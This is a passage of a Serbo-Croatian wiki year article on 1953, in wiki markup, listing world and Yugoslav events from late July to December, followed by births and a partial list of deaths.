zdravstvenih razloga - nasleđuje ga [[Haxhi Lleshi]] (do 1982). * 24 - 26. 7. - Bitka na reci Samichon je poslednja u Korejskom ratu: Kinezi pred kraj rata pokušavaju proboj linije Jamestown. * [[25. 7.]] - [[1. 8.]] - U Zagrebu održan 38. Svjetski kongres [[Esperanto|esperantista]]. [[Datoteka:Fidel Castro under arrest after the Moncada attack.jpg|mini|200px|Uhapšeni Castro]] * [[26. 7.]] - [[Datoteka:M-26-7.svg|30px]] Zvanični početak [[Kubanska revolucija|Kubanske revolucije]]: katastrofalni napad [[Fidel Castro|Castrove]] družine na [[Kasarne Moncada|kasarne Monkada]] u [[Santiago de Cuba|Santiago de Cubi]]. Po ovom događaju je nazvan ''[[Movimiento 26 de Julio]]''. * 26. 7. - Policija i Nacionalna garda [[Arizona|Arizone]] uhapsila 400 [[Mormoni|mormonskih]] fundamentalističkih [[Poligamija|poligamista]] u mestu [[Colorado City, Arizona|Short Creek]], uključujući 263 dece. [[Datoteka:Korean war 7.53.png|mini|200px|Koreja ostaje podeljena]] * [[27. 7.]] - [[Korejski sporazum o primirju]], potpisan u [[Panmunjon]]u nakon dvije godine razgovora, neformalni je završetak [[Korejski rat|Korejskog rata]]. Potpisnici su UN, na čelu sa SAD, NR Kina i Sjeverna Koreja, dok je Južna Koreja odbila potpisati. Dan pobede u Severnoj Koreji. * 25. 7. - 1. 8. - Svjetski kongres [[Esperanto|esperantista]] u Zagrebu. * [[28. 7.]] - [[10. 8.]] - [[Prvi indokineski rat]]: francuska Operacija Camargue u centralnom Vijetnamu. === Avgust/August/Kolovoz === * [[1. 8.]] - [[Datoteka:Flag of the Federation of Rhodesia and Nyasaland (1953–1963).svg|25px]] Britanci osnovali [[Federacija Rodezije i Nyasalanda|Federaciju Rodezije i Nyasalanda]], protivno volji Afrikanaca (raspuštena krajem 1963, današnji Zambija, Malavi i Zimbabve). * [[2. 8.]] - Agrarna reforma u Boliviji: kraj feudalnih odnosa za Indijance. * 3. 8. - Švajcarski kredit za fabriku aluminijuma u FNRJ. (NYT) * 4. 8. - Britanski poslanik [[Clement Attlee]] u poseti FNRJ. * [[5. 8.]] - Prikazan ''[[From Here to Eternity]]'', gledani i nagrađeni film. * [[8. 8.]] - Sovjetski premijer Maljenkov objavio da SSSR ima [[hidrogenska bomba|hidrogensku bombu]]. Najavljuje ekonomske reforme. * [[10. 8.]] - Američka ekspedicija koja se pela na [[K2]] zamalo izginula. * [[12. 8.]] - Sovjeti testirali termonuklearnu napravu [[RDS-6s]], sa slojevitim materijalom, snage 400 kilotona. * 12. 8. - U potresu na grčkoj zapadnoj obali i [[Jonski otoci|jonskim otocima]] poginulo je 400-800 ljudi. * [[13. 8.|13]] - [[23. 8.]] - U [[Amfiteatar u Puli|pulskoj areni]] održana revija stranih filmova<ref>[http://arhiv.pulafilmfestival.hr/nulti-pulski-filmski-festival-revija-filmova-u-areni/index.html Nulti Pulski filmski festival (Revija filmova u Areni)] {{Webarchive|url=https://web.archive.org/web/20180811224119/http://arhiv.pulafilmfestival.hr/nulti-pulski-filmski-festival-revija-filmova-u-areni/index.html |date=2018-08-11 }}. arhiv.pulafilmfestival.hr</ref> - od sledeće godine se održava i [[Pulski filmski festival]]. * [[14. 8.]] - Generalni štrajk u Francuskoj protiv mera štednje (do 25. 8.). * [[15. 8.]] - Prvi pokušaj puča u Iranu: Mosadeku je pokušano uručenje šahovog fermana o smeni i postavljenju gen. [[Fazlollah Zahedi|Zahedija]], što on odbija - veliki neredi Mosadekovih pristalica u Teheranu, a šah beži iz zemlje. * 15. 8. - Poplava u južnom Yamashiru u Japanu, strada preko 400 ljudi. * [[17. 8.]] - [[Giuseppe Pella]] je talijanski premijer umjesto [[Alcide De Gasperi|De Gasperija]] (do januara). * [[18. 8.]] - Drugi [[Alfred Kinsey|Kinsey]]-jev izveštaj, ''Sexual Behavior in the Human Female''. [[Datoteka:1953 Iranian coup d'état - Mohammad Reza Pahlavi in Tehran Airport.jpg|mini|200px|[[Mohammed Reza Pahlavi]]]] * [[19. 8.]] (28 mordad 1332 po [[Iranski kalendar|i. k.]]) - [[Dinastija Pahlevi|Iranski]] premijer [[Mohammed Mossadegh]] oboren i uhapšen nakon nakon insceniranog nasilja na ulicama (za umešanost CIA → [[Operacija Ajax]]). Zahedi i vojska preuzimaju vladu. Šah [[Mohammed Reza Pahlavi]] stiže 22-og i ostaje na vlasti do revolucije 1979. * 19. 8. - Mitropolit dabro-bosanski [[Nektarije Krulj]] pretučen u manastiru Ozren. * [[20. 8.]] - Francuska vlada zbacila [[maroko|marokanskog]] sultana [[Mohammed V Marokanski|Mohammeda V]] i prognala ga na Korziku, pa Madagaskar (vraća se 1955). Za novog sultana je postavljen [[Muhamed Ben Arafa]], kojeg je nekoliko dana ranije marakeški paša [[Thami El Glaoui]] isturio za verskog vođu. Raste otpor Marokanaca. * avgust - Pobedom nad olimpijskim prvacima Mađarima, jugoslovenski [[vaterpolo|vaterpolisti]] osvojili '' Trofeo Italia'' u [[Nijmegen]]u, Holandija. ([http://www.waterpololegends.com/2009/11/1953-trofeo-italia-winners-of.html ekipa]) * ca. [[22. 8.]] - Gomile u [[Banja Luka|Banjoj Luci]] primorale episkopa Vasilija Kostića i biskupa Dragutina Čelika da napuste položaje, nakon što su naložili svojim sveštenicima da ne ulaze u državno udruženje. * [[26. 8.]] - U Zavodima “Crvena zastava” se izjasnili da se najveći deo ostvarene dobiti uloži u razvoj automobilske industrije; ove godine proizvedena 162 džipa marke [[Willys MB|Willys]].<ref>[https://www.magazinauto.com/60-godina-zastava-automobila/ Jubileji: 60 godina Zastava automobila]. magazinauto.com</ref> * 26. 8. - [[Batiskaf Trieste]] porinut u Tirenskom moru, krajem septembra je zaronio do 3.150 m. * [[27. 8.]] - Prikazan ''[[Roman Holiday]]''. * 27. 8. - Konkordat između [[Frankistička Španija|frankističke Španjolske]] i [[Vatikan]]a je posljednji klasični - Franco ima pravo imenovati biskupe a crkva velike društvene i financijske povlastice. * [[28. 8.]] - Novoosnovana izraelska komandoska [[jedinica 101]], na čelu sa [[Ariel Sharon|Arielom Sharonom]], ima probu: upala je u izbeglički logor Bureidž u pojasu Gaze, stradalo je nekoliko desetina Arapa. * 29. 8. - "Uzbuna" u italijanskoj vojsci na granici tršćanske zone A, jer FNRJ navodno planira priključenje zone B. (NYT) * august - oktobar - Operacija Brochet u delti [[Crvene rijeka (Azija)|Crvene rijeke]] na sjeveru Vijetnama - francuski taktički neuspjeh. === Septembar/Rujan === [[Datoteka:Mgu001.JPG|mini|240px|[[Glavno zdanje Moskovskog državnog univerziteta]]]] * [[1. 9.]] - Otvoreno [[Glavno zdanje Moskovskog državnog univerziteta]], najviša zgrada u Evropi do 1988/90; visina šiljka 240 m. * [[5. 9.]] - U Somboru pretučen bački biskup [[Lajčo Budanović]].<ref>[https://www.glas-koncila.hr/biskup-lajco-budanovic-u-totalitarnim-rezimima-2-izvukli-su-biskupa-u-hodnik-udarajuci-ga-sakama-i-nogama/ BISKUP LAJČO BUDANOVIĆ U TOTALITARNIM REŽIMIMA (2)]. glas-koncila.hr</ref> U NYT se pominje i da je uništeno "20 brdskih kapela". * [[6. 9.]] - Drugi izbori za zapadnonemački Bundestag: veliki porast CDU/CSU kancelara [[Konrad Adenauer|Adenauera]]. * 6. 9. - Tito na masovnom okupljanju u Okroglici, blizu italijanske granice: predlaže da Trst bude slobodni grad u okviru Jugoslavije i međunarodni režim za luku. * [[7. 9.]] - [[Mohamed Daud Kan]], "crveni princ", premijer je [[Kraljevina Afganistan|Afganistana]] (do 1963, predsednik 1973-78). * 9. 9. - [[Moše Pijade]] izjavljuje da je 1948-52. uhapšena 171.731 osoba, "mnogi bez razloga". (NYT) * [[12. 9.]] - Venčanje senatora [[John Fitzgerald Kennedy|J. F. Kennedyja]] i [[Jacqueline Kennedy Onassis|Jacqueline Bouvier]]. * [[13. 9.]] - Italija traži plebiscit u Trstu. * 13. 9. - Jugoslovenski vojni avion prebegao u Italiju. * [[14. 9.]] - [[Nikita Hruščov]] izabran za Prvog sekretara [[KPSS]]. * septembar - Letopis Matice srpske pokrenuo anketu "O pitanjima srpskohrvatskog jezika i pravopisa" (→ [[Novosadski dogovor]] 1954). * [[16. 9.]] - Prikazan film ''[[The Robe (film)|The Robe]]'', prvi u [[CinemaScope|CinemaScopu]], najunosniji iz ove godine. * [[20. 9.]] - Guverner [[Aceh]]a Daud Beureu'eh se pobunio protiv Indonezije, izjasnio se za [[Darul Islam (Indonezija)|Darul Islam]] (islamsku državu Indoneziju). * ca. 22 - 26. 9. - [[Manevri JNA 1953|Manevri JNA]] u severnoj Hrvatskoj, vežba se napad iz Mađarske, prisutni su posmatrači iz NATO. (NYT) * [[23. 9.]] - Madridski pakt je izlazak [[Frankistička Španija|frankističke Španije]] iz izolacije: SAD će dati ekonomsku i vojnu pomoć u zamenu za vojne baze. * [[25. 9.]] - Poljski kardinal [[Stefan Wyszyński]] je zatvoren - u zatvoru i kućnom pritvoru je do 1956. * 25. 9. - Japan je pogođen tajfunom Tess, stradalo je preko 400 ljudi. * 26-[[27. 9.]] - Četvrti i poslednji kongres [[Antifašistički front žena|AFŽ]] u Beogradu - zameniće ga Savez ženskih društava. * [[27. 9.]] - Tito na predizbornom mitingu u [[Ruma|Rumi]] traži kraj fizičkih napada na sveštenstvo: ignorišite ih, nasilje ide naruku crkvi. * [[30. 9.]] - U FNRJ donesen Zakonik o [[krivično pravo|krivičnom]] postupku. === Oktobar/Listopad === * [[1. 10.]] - SAD i Južna Koreja potpisali Ugovor o uzajamnoj odbrani. * 1. 10. - Iz Države Madras na jugoistoku Indije izdvojena Država Andhra - prva "lingvistička" država, za govornike [[Telugu jezik|telugua]] (od 1956. uvećani [[Andhra Pradesh]]). * [[3. 10.]] - Osnovana brazilska monopolska naftna firma [[Petrobras]]. [[Datoteka:UNICEF Logo.svg|mini|150px]] * [[6. 10.]] - [[UNICEF]] postaje stalna agencija [[UN]]. * [[8. 10.]] - Velika Britanija i SAD izrazile nameru da povuku svoje snage i predaju Italiji civilnu upravu u zoni "A" [[Slobodni Teritorij Trsta|slobodne teritorije Trsta]], bez konsultovanja Jugoslavije. Time je započela jednogodišnja '''[[Tršćanska kriza|kriza]]'''; Italija i Jugoslavija su koncentrisale trupe na granici, masovni mitinzi u Jugoslaviji. ** Razbijena stakla na američkoj ambasadi i konzulatu u Beogradu odn. Zagrebu, demolirane čitaonice. * [[11. 10.]] - [[Milovan Đilas]] započinje seriju članaka u "Borbi" (do 7. 1. [[1954]] - za slobodu misli i demokratiju). * 11. 10. - Tito preti da će poslati vojsku u Zonu A, ako uđu Italijani. (NYT) * [[14. 10.]] - Masakr u Kibiji na Zapadnoj Obali - izraelska jedinica 101 ubila 69 Palestinaca u selu, u znak odmazde za napade fedajina preko izraelske granice. * [[16. 10.]] - Izašao prvi broj beogradskih [[Večernje novosti|Večernjih novosti]]. * 16. 10. - Fidel Castro je osuđen na 15 godina zatvora, drži govor objavljen pod naslovom "Historija će me opravdati" (pušten 1955). * [[14. 10.]] - Prva NATO baza u Turskoj: Šesta saveznička taktička vazduhoplovna došla u Izmir. * 14 - 15. 10. - Policija rastura slovenačke demonstracije u Trstu, italijanska mladež napada jugoslovensku kancelariju. (NYT) * [[16. 10.]] - Žene dobile pravo glasa u Meksiku. * [[17. 10.]] - Pozivaju se rezervisti u zagrebačkom vojnom području. (NYT) * [[18. 10.]] - U Zagrebu pred 45.000 gledatelja Jugoslavija pobjedila Francusku 3:1 u nogometu. * [[22. 10.]] - {{flagicon|Laos|1952}} Francusko-laoški ugovor o prijateljstvu i asocijaciji: kraljevska vlada dobija preostala ovlašćenja, osim vojnih poslova. Laos postaje nezavisni član [[Francuska unija|Francuske unije]]. * [[30. 10.]] - Dokument NSC 162/2 o američkoj strategiji u Hladnom ratu: uvećanje arsenala, sklapanje saveza sa drugim nacijama, mere izuzev rata. * oktobar-novembar - Operacija Mouette: Francuzi nanose gubitke Viet Minhu na severu Vijetnama. === Novembar/Studeni === * [[1. 11.]] - Osnovano [[Crnogorsko narodno pozorište]]. [[Datoteka:Rivolta di Trieste 1953.jpg|mini|200px|Neredi u Trstu]] * [[5.11.|5]]-[[6. 11.]] - Neredi Italijana u [[Trst]]u, šest mrtvih i 153 ranjenih. * [[7. 11.]] - [[Kuomintang u Burmi]] započinje povlačenje iz te zemlje - zvanično traje do maja, ali su zaista otišli tek 1961. * [[8. 11.]] - [[José Figueres Ferrer]] je po drugi put predsednik Kostarike (do 1958). * [[9. 11.]] - {{flag|Kambodža}} nezavisna u okviru [[Francuska unija|Francuske unije]]. * 9. 11. - Umro osnivački kralj Saudi Arabije [[Ibn Saud]], nasleđuje ga sin [[Saud bin Abdulaziz Al Saud]] (do 1964), [[Faisal ibn Abdulaziz al-Saud|Faisal]] je krunski princ. * [[15. 11.]] - Veliki predizborni zbor na beogradskom Trgu republike, Tito osuđuje držanje Vašingtona, Londona i Rima povodom Trsta<ref>Bajec, Dolničar, 1981, str. 159</ref>. * 19. 11. - Zemlje Balkanskog pakta potpisale sporazum o uzajamnim odbrambenim obavezama. (NYT) * [[20. 11.]] - Avionom Douglas Skyrocket dostignut Mach 2, sledećeg meseca Bell X-1A sa [[Chuck Yeager|Chuckom Yeagerom]] leti Mach 2,44. * 20. 11. - Nezaposleni upali u tršćansku gradsku većnicu. (NYT) * 20. 11. - Objavljeno da je [[Piltdownski čovjek]], "pronađen" 1912, zapravo krivotvorina. * 21. 11. - U Čileu osnovana Puerto Luisa, kasniji [[Puerto Williams]], najjužniji grad na svijetu. * [[22. 11.]] i kasnije - [[Datoteka:Ballot.gif|25px|Izbori]] Izbori za Saveznu narodnu skupštinu u FNRJ (Savezno odn. Veće proizvođača), kao i za republičke skupštine - odziv 89,4&, za Narodni front 95,7%;<ref>Bajec, Dolničar, 1981, str. 162</ref>. Prvi put na saveznom nivou sa glasačkim listićima umesto kuglicama<ref>[http://foto.mij.rs/site/gallery/966/photo/30 Glasanje za Narodnu skupštinu] {{Webarchive|url=https://web.archive.org/web/20210420010455/http://foto.mij.rs/site/gallery/966/photo/30 |date=2021-04-20 }}. foto.mij.rs</ref>. [[Milovan Đilas]] dobio veću podršku od Tita, 99,8 prema 97,7%. (NYT) * 22. 11. - Okončana vazdušna ''Opération Castor'', kojom su Francuzi utvrdili [[Dien Bien Phu]] u severozapadnom [[Vijetnam]]u - mesto presudnog okršaja sledeće godine. * [[23. 11.]] - Britanska kraljica [[Elizabeta II]] krenula s mužem na šestomesečnu turneju oko sveta. * [[24. 11.]] - Nekoliko članova Baleta izbačeno iz beogradskog Narodnog pozorišta, zbog "težih prekršaja moralno-političke prirode" tokom nedavnog gostovanja u Švajcarskoj. * [[25. 11.]] - Nogometni "Meč stoljeća": Engleska - Mađarska 3:6 na Wembleyu - Englezi će se nakon ovoga ugledati na kontinent. * [[29. 11.]] - U [[Jajce|Jajcu]] otvoren [[Muzej AVNOJ-a u Jajcu|Muzej Drugog zasedanja AVNOJ-a]]. * 29. 11. - Amnestija 7.194 zatvorenika u FNRJ, 5.312 će biti oslobođeno, 1.882 skraćene kazne. * [[30. 11.]] - Kabakina kriza: guverner Britanske [[Uganda|Ugande]] zbacio [[Mutesa II|Mutesu II]], kralja/kabaku [[Buganda|Bugande]], nakon što je zatražio odvajanje Bugande od Ugande - vraćen 1955. === Decembar/Prosinac === [[Datoteka:Playboy logo.svg|mini|150px]] * decembar - [[Hugh Hefner]] izdao prvi broj ''[[Playboy]]''-a. * 4 - 8. 12. - Konferencija tri zapadne sile na Bermudi o sigurnosti Evrope: Churchill-Eisenhower-Laniel. * 5. 12.? - Jugoslavija i Italija dogovorili povlačenje trupa sa granice (završeno 20. 12.). (NYT) * [[6. 12.]] - [[FK Partizan]] - [[FK Crvena Zvezda]] 7:1 (najteži poraz u [[Večiti derbi (Srbija)|derbijima]]). * [[7. 12.]] - Poseta američkog potpredsednika [[Richard Nixon|Richarda Nixona]] izaziva krvave nerede u [[Teheran]]u - ubijena trojica studenata (Dan studenata u Iranu). * 7. 12. - Prvi izraelski premijer [[David Ben-Gurion]] najavio ostavku - [[Moše Šaret]] će biti premijer 1954-55 a Ben-Gurion se vraća 1955-63. * [[8. 12.]] - Govor američkog predsednika Ajzenhauera "[[Atomi za mir]]" pred Generalnom skupštinom UN. * [[9. 12.]] - Bomba zaostala iz rata eksplodirala u Tuzli (?), petoro mrtvih. (NYT) * [[12. 12.]] - Osnivačka skupština staleškog udruženja katoličkih svećenika Hrvatske.<ref>Akmadža, Miroslav. [https://hrcak.srce.hr/file/18332 UZROCI PREKIDA DIPLOMATSKIH ODNOSA IZMEŠUVATIKANA I JUGOSLAVIJE 1952. GODINE]. hrcak.srce.hr (PDF)</ref> * 15. 12. - [[Dunavska komisija]]: jugoslovenski predstavnik izabran za sekretara, usvojen prelazak sedišta u Budimpeštu (kraj sovjetske dominacije). (NYT) * decembar - Počinje Drugo bijenale u [[São Paulo|São Paulu]], [[Petar Lubarda]] dobio otkupnu nagradu (inače, ove godine je naslikao "Konje" i "Kosovski boj"). * [[20. 12.]] - Odlučeno da se ustanovi [[Ninova nagrada]]. * 21. 12. - Dogovorena obnova diplomatskih odnosa FNRJ i Albanije. (NYT) * [[23. 12.]] - Pogubljen [[Lavrentij Berija]], Staljinov šef tajne policije, zajedno sa šest "saučesnika". * 23. 12. - FNRJ i Austrija će podići odnose na ambasadorski nivo. (NYT) * [[24. 12.]] - Tangiwaiska katastrofa na [[Novi Zeland|Novom Zelandu]], poginuo 151 putnik ekspresnog voza usled pada železničkog mosta. * [[25. 12.]] - Milovan Đilas izabran za predsednika Savezne narodne skupštine. * 25. 12. - Američka vlada vratila [[Japan]]u ostrva Amami, deo ostrva [[Rjukju]]. * [[29. 12.]] - Đilasov članak u "Borbi" govori o demokratiji (ne misli na socijalističku demokratiju). * [[30. 12.]] - U prodaji prvi [[televizor]]i u boji, za oko 1.175 američkih dolara (oko 11.350 dolara iz 2020.). * [[31. 12.]] - Jedinice sitnije od japanskog [[jen]]a izlaze iz opticaja: sen, 1/100, i rin, 1/1000. === Kroz godinu === * U Beogradu izgrađen Trg Marksa I Engelsa, danas [[Trg Nikole Pašića]]. * Sporazum Jugoslavije i Međunarodne asocijacije za razmenu studenata. * ''Coppertone girl'' - reklama sa devojčicom i psom. * U [[Los Angeles]]u otvorena ''Four Level Interchange'', prva saobraćajna petlja u više nivoa. * Udeo proizvodnje u GDP Sjedinjenih Država dostiže vrhunac od 28% - od 1980-tih će se govoriti o [[Pojas hrđe|Pojasu hrđe]]. == 1953. u temama == * Rukovodstvo [[FNRJ]]: ** Šef države: Predsednik Prezidijuma Narodne Skupštine - [[Ivan Ribar]], zatim Predsednik Republike - [[Josip Broz Tito]] ** Šef Vlade, preimenovane u [[Savezno izvršno veće]]: Josip Broz Tito ** Predsednik Savezne Narodne skupštine: [[Vladimir Simić]] pa [[Milovan Đilas]] * Neki [[Popis jugoslavenskih filmova|domaći filmovi]]: "[[Opštinsko dete (film)|Opštinsko dete]]" (→ [[:Kategorija:Filmovi 1953.]]). == Rođenja == {{glavni članak|:Kategorija:Rođeni 1953.}} === Januar/Siječanj === * [[1. 1.]] - [[Zoran Janković]], gradonačelnik [[Ljubljana|Ljubljane]] * [[5. 1.]] - [[George Tenet]], direktor [[CIA]] * 5. 1. - [[Pamela Sue Martin]], glumica * [[6. 1.]] - [[Tomislav Ivčić]], hrvatski pjevač († [[1993]].) * [[10. 1.]] - [[Pat Benatar]], pjevačica * [[13. 1.]] - [[Radoman Božović]], srpski političar * [[14. 1.]] - [[Radmila Živković]], srpska glumica († [[2024]].) * [[20. 1.]] - [[Jeffrey Epstein]], američki financijski mešetar († [[2019]].) * [[21. 1.]] - [[Paul Allen]], suosnivač kompanije [[Microsoft]] († [[2018]]) * [[22. 1.]] - [[Jim Jarmusch]], američki režiser, producent i glumac * [[25. 1.]] - [[Danica Maksimović]], srpska glumica * 25. 1. - [[Dževad Karahasan]], bh. književnik († [[2023]]) * [[26. 1.]] - [[Anders Fogh Rasmussen]], generalni sekretar NATO * [[27. 1.]] - [[Slobodanka Rakić Šefer]], srpska slikarka * [[31. 1.]] - [[Sergej Ivanov]], ruski političar === Februar/Veljača === * [[3. 2.]] - [[Vasa Pavković]], književnik, leksikograf * [[7. 2.]] - [[Hasija Borić]], bosanskohercegovačka glumica i režiserka * [[10. 2.]] - [[Dragoljub Đuričić]], bubnjar († [[2021]]) * [[11. 2.]] - [[Jeb Bush]], guverner Floride * [[19. 2.]] - [[Cristina Fernández de Kirchner]], predsednica Argentine * [[25. 2.]] - [[José María Aznar]], premijer Španije * [[28. 2.]] - [[Paul Krugman]], ekonomista === Mart/Ožujak === * [[3. 3.]] - [[Zico]], brazilski nogometaš i trener * [[6. 3.]] - [[Snežana Savić]], glumica i pevačica * [[10. 3.]] - [[Slobodan Samardžić]], srpski političar * [[12. 3.]] - [[Ron Jeremy]], glumac * [[16. 3.]] - [[Richard Stallman]], programer, aktivista za slobodni softver * 16. 3. - [[Isabelle Huppert]], glumica * [[23. 3.]] - [[Chaka Khan]], pevačica * 23. 3. - [[Ivica Šurjak]], nogometaš * [[25. 3.]] - [[Vesna Pusić]], hrvatska političarka === April/Travanj === * [[1. 4.]] - [[Barry Sonnenfeld]], američki filmski producent, režiser i snimatelj * 1. 4. - [[Oliver Ivanović]], srpski političar († [[2018]]) * [[3. 4.]] - [[Pavao Miljavac]], hrvatski general i političar * [[11. 4.]] - [[Branimir Štulić|Branimir Johnny Štulić]], frontmen grupe [[Azra]] * 11. 4. - [[Guy Verhofstadt]], premijer Belgije * [[14. 4.]] - [[Slavica Buljan]], katolička redovnica, hrvatska pjesnikinja * [[16. 4.]] - [[Amir Talić]], bosanskohercegovački pisac * [[18. 4.]] - [[Rick Moranis]], glumac, komičar * [[25. 4.]] - [[Jelena Tinska]], balerina i glumica * [[26. 4.]] - [[Vlado Kalember]], hrvatski pjevač === Maj/Svibanj === * [[6. 5.]] - [[Tony Blair]], [[UK|britanski]] premijer * [[8. 5.]] - [[Alex Van Halen]], suosnivač ''Van Halen''-a * [[11. 5.]] - [[Đorđe Balašević]], vojvođanski pjevač († [[2021]]) * [[13. 5.]] - [[Zlatko Burić]], glumac * [[14. 5.]] - [[Norodom Sihamoni]], kralj Kambodže * [[15. 5.]] - [[Mike Oldfield]], kompozitor * 15. 5. - [[Bogić Bogićević]], političar * [[16. 5.]] - [[Pierce Brosnan]], irsko-američki glumac * [[26. 5.]] - [[Michael Portillo]], političar, novinar, TV voditelj * [[28. 5.]] - [[Željko Reiner]], liječnik, akademik, predsjednik Sabora * [[29. 5.]] - [[Danny Elfman]], kompozitor * [[30. 5.]] - [[Colm Meaney]], glumac === Jun/Juni/Lipanj === * [[1. 6.]] - [[David Berkowitz]], ''Son of Sam'', serijski ubica * [[8. 6.]] - [[Ivo Sanader]], premijer Hrvatske * [[10. 6.]] - [[John Edwards]], američki političar * [[13. 6.]] - [[Veselin Šljivančanin]], oficir JNA * 13. 6. - [[Tim Allen]], glumac * [[15. 6.]] - [[Meri Cetinić]], hrvatska pjevačica * 15. 6. - [[Slavoljub Muslin]], srpski fudbaler i trener * 15. 6. - [[Xi Jinping]], predsednik NR Kine i gen. sekretar CK KPK * [[21. 6.]] - [[Benazir Bhutto]], premijerka Pakistana († [[2007]]) * [[22. 6.]] - [[Cyndi Lauper]], kantautorka, glumica * [[27. 6.]] - [[Tanja Bošković]], glumica === Jul/Juli/Srpanj === * [[1. 7.]] - [[Jadranka Kosor]], premijerka Hrvatske * [[3. 7.]] - [[Dragan Velikić]], srpski književnik i diplomata * 3. 7. - [[Nada Topčagić]], pevačica * [[9. 7.]] - [[Branko Jerinić]], glumac * [[13. 7.]] - [[Oliver Mandić]], srpski muzičar * 13. 7. - [[Mila Mulroney]], supruga kanadskog premijera * [[15. 7.]] - [[Neda Arnerić]], glumica († [[2020]]) * 15. 7. - [[Jean-Bertrand Aristide]], predsednik Haitija * [[21. 7.]] - [[Radoslav Petković]], književnik * [[23. 7.]] - [[Najib Razak]], premijer Malezije * [[29. 7.]] - [[Ken Burns]], tvorac dokumentarnih filmova === Avgust/August/Kolovoz === * [[1. 8.]] - [[Bogdan Diklić]], glumac * [[8. 8.]] - [[Gordana Kosanović]], glumica († [[1986]]) * 8. 8. - [[Nigel Mansell]], vozač F1 * [[10. 8.]] - [[Mark Doty]], američki pesnik * [[11. 8.]] - [[Hulk Hogan]], zabavni rvač, glumac († [[2025]]) * [[15. 8.]] - [[Mark Thatcher]], biznismen, premijerkin sin * [[16. 8.]] - [[Miša Aleksić]], basista "Riblje čorbe" († [[2020]]) * [[17. 8.]] - [[Dragan Kićanović]], košarkaš * 17. 8. - [[Herta Müller]], književnica, nobelovka * [[19. 8.]] - [[Vojislav Stanimirović]], političar u Hrvatskoj * [[27. 8.]] - [[Zoran Lilić]], predsednik SRJ * [[30. 8.]] - [[Zoran Petrović Piroćanac]], novinar, politikolog († [[2015]]) === Septembar/Rujan === * [[1. 9.]] - [[Ahmad Shah Massoud]], afganistanski borac i vojskovođa († [[2001]]) * [[6. 9.]] - [[Ljiljana Habjanović Đurović]], srpska književnica * [[10. 9.]] - [[Amy Irving]], glumica * [[12. 9.]] - [[Nan Goldin]], fotografkinja * [[13. 9.]] - [[Fabijan Lovrić]], bosanskohercegovački pjesnik * [[15. 9.]] - [[Gašo Knežević]], srpski pravnik, političar († [[2014]]) * [[22. 9.]] - [[Ségolène Royal]], francuska političarka * [[24. 9.]] - [[Radoš Bajić]], srpski glumac * [[28. 9.]] - [[Keith McDermott]], američki glumac i pisac === Oktobar/Listopad === * [[9. 10.]] - [[Tony Shalhoub]], glumac * [[21. 10.]] - [[Peter Mandelson]], britanski političar === Novembar/Studeni === * [[1. 11.]] - [[Miroslav Prokopijević]], ekonomista († [[2019]]) * [[2. 11.]] - [[Dubravka Zubović]], operska pevačica * [[9. 11.]] - [[Merima Njegomir]], pevačica († [[2021]]) * [[14. 11.]] - [[Dominique de Villepin]], premijer Francuske * [[16. 11.]] - [[Marina Tucaković]], tekstopisac († [[2021]]) * [[18. 11.]] - [[Alan Moore]], britanski strip-crtač * [[20. 11.]] - [[Halid Bešlić]], bosanski pjevač († [[2025]]) * 20. 11. - [[Sulejman Ugljanin]], političar * [[22. 11.]] - [[Matija Ljubek]], hrvatski kanuist († [[2000]]) * 22. 11. - [[Dragan Jovičić]], glumac († [[2020]]) * [[25. 11.]] - [[Rade Jorović]], pevač * [[27. 11.]] - [[Šeki Turković]], pevač * 27. 11. - [[Steve Bannon]], medijska i politička osoba u SAD === Decembar/Studeni === * [[2. 12.]] - [[Ana Lovrin]], hrvatska političarka * [[8. 12.]] - [[Kim Basinger]], američka filmska glumica * [[9. 12.]] - [[John Malkovich]], američki glumac, producent i režiser * [[13. 12.]] - [[Ben Bernanke]], predsednik Federalne rezerve SAD * [[21. 12.]] - [[Svetislav Basara]], srpski pisac i diplomata * [[24. 12.]] - [[Mira Bosanac]], hrvatska glumica === Kroz godinu === * [[Mato Došen]], hrvatski glazbeni producent († [[2010]].) * [[Branislav Radišić]], srpski umetnik i novinar * Radomir [[Raka Marić]], muzički menadžer * [[Savo Radusinović]], pjevač narodne muzike († [[2007]]) * [[Mladen Barbarić (glumac)|Mladen Barbarić]], glumac * [[Brano Mićunović]], kontroverzni biznismen († [[2024]]) == Smrti == {{glavni članak|:Kategorija:Umrli 1953.}} === Januar/Siječanj &ndash; Mart/Ožujak === * [[1. 1.]] - [[Hank Williams]], country glazbenik (* [[1923]]) * [[5. 2.]] - [[Iuliu Maniu]], bivši premijer Rumunije (* [[1873]]) * [[11. 2.]] - [[Uroš Predić]], srpski slikar (* [[1857]]) * [[24. 2.]] - [[Gerd von Rundstedt]], nemački feldmaršal (* [[1875]]) * [[25. 2.]] - [[Sergej Vinogradski]], mikrobiolog, ekolog (* [[1856]]) * [[5. 3.]] - [[Josif Staljin]], lider SSSR (* [[1878]]) * 5. 3. - [[Sergej Prokofjev]], kompozitor (* [[1891]]) * 5. 3. - [[Herman J. Mankiewicz]], scenarista (* [[1897]]) * [[13. 3.]] - [[Johan Laidoner]], bivši komandant estonske vojske (* [[1884]]) * [[14. 3.]] - [[Klement Gottwald]], predsednik Čehoslovačke (* [[1896]]) * [[23. 3.]] - [[Đorđe Jovanović]], srpski vajar (* [[1861]]) * 23. 3. - [[Raoul Dufy]], slikar (* [[1877]]) * [[24. 3.]] - [[Mary of Teck|Mary]], udovica Georgea V, baka Elisabeth II (* [[1867]]) * [[28. 3.]] - [[Jim Thorpe]], atletičar (* [[1888]]) === April/Travanj &ndash; Jun/Lipanj === * [[2. 4.]] - [[Hugo Sperrle]], nemački feldmaršal (* [[1885]]) * [[4. 4.]] - [[Carol II (Rumunjska)|Carol II]], bivši kralj Rumunjske (* [[1893]]) * [[11. 4.]] - [[Boris Kidrič]], revolucionar, političar, akademik (* [[1912]]) * [[29. 4.]] - [[Alice Prin]], umetnički model (* [[1901]]) * [[16. 5.]] - [[Django Reinhardt]], belgijski jazz muzičar (* [[1910]]) * [[30. 5.]] - [[Dooley Wilson]], pevač, glumac (* [[1886]]) * [[31. 5.]] - [[Vladimir Tatlin]], slikar, arhitekta (* [[1885]]) * [[1. 6.]] - [[Emanuel Vidović]], hrvatski slikar (* [[1870]].) * [[19. 6.]] - [[Julius i Ethel Rosenberg]], pogubljeni za špijunažu (* 1918 odn. * 1915). === Jul/Srpanj &ndash; Septembar/Rujan === * [[26. 7.]] - [[Nikolaos Plastiras]], general i bivši premijer Grčke (* [[1883]]) * [[31. 7.]] - [[Robert A. Taft]], američki političar (* [[1889]]) * [[11. 8.]] - [[Tazio Nuvolari]], auto-trkač (* [[1892]]) 